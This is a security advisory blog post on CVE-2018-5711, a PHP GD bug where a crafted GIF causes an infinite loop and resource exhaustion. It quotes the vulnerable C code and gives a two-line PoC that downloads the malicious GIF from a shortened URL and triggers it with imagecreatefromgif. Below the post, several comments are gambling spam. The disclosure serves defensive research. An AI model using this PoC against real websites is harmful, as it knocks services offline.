2018年1月21日 星期日

PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF



Author: Orange Tsai(@orange_8361) from DEVCORE

Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!

Affected

All PHP version
  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

Vulnerability Details

The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte_

460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);


Function GetCode is just a wrapper, and GetCode_ do the real stuff.

376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ... 

399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
           ...
           
405    }


GetCode_ call GetDataBlock to read data from GIF!

332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336    
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340    
341     *ZeroDataBlockP = count == 0;
342    
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }
OK, here are all vulnerable code, can you spot the vulnerability? :P



The bug relied on the type conversion from int to unsigned char. As you can see:
If GetDataBlock_ return -1, scd->done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.

So the result is, one single GIF can make an infinite loop and exhausted the server resource.

PoC

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  Infinite loop here...


It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...

Epilogue

I will disclose more 0-days in the future!

References


4 則留言:

  1. hello Orange may I ask a question? I wonder how to design the gif in your blog to expliot this bug

    回覆刪除
  2. 您好,我想请问下您在先知大会的ppt方便放出来么?有事没去现场听到很遗憾~

    回覆刪除
  3. one PG168Game keyword, it's not สล็อต 168
    boring, update new สล็อต 168
    games weekly to play PG 300PG free, slot machine games, free slot machine games. Each

    回覆刪除
  4. this was a very nice post. megagame 50รับ100 Spending some time and actual effort to produce a really good articleÖ but what can ซุปเปอร์สล็อต เครดิตฟรี I sayÖ I put things off a whole lot and don’t seem to get anything done.โปรโมชั่นสล็อต100%

    回覆刪除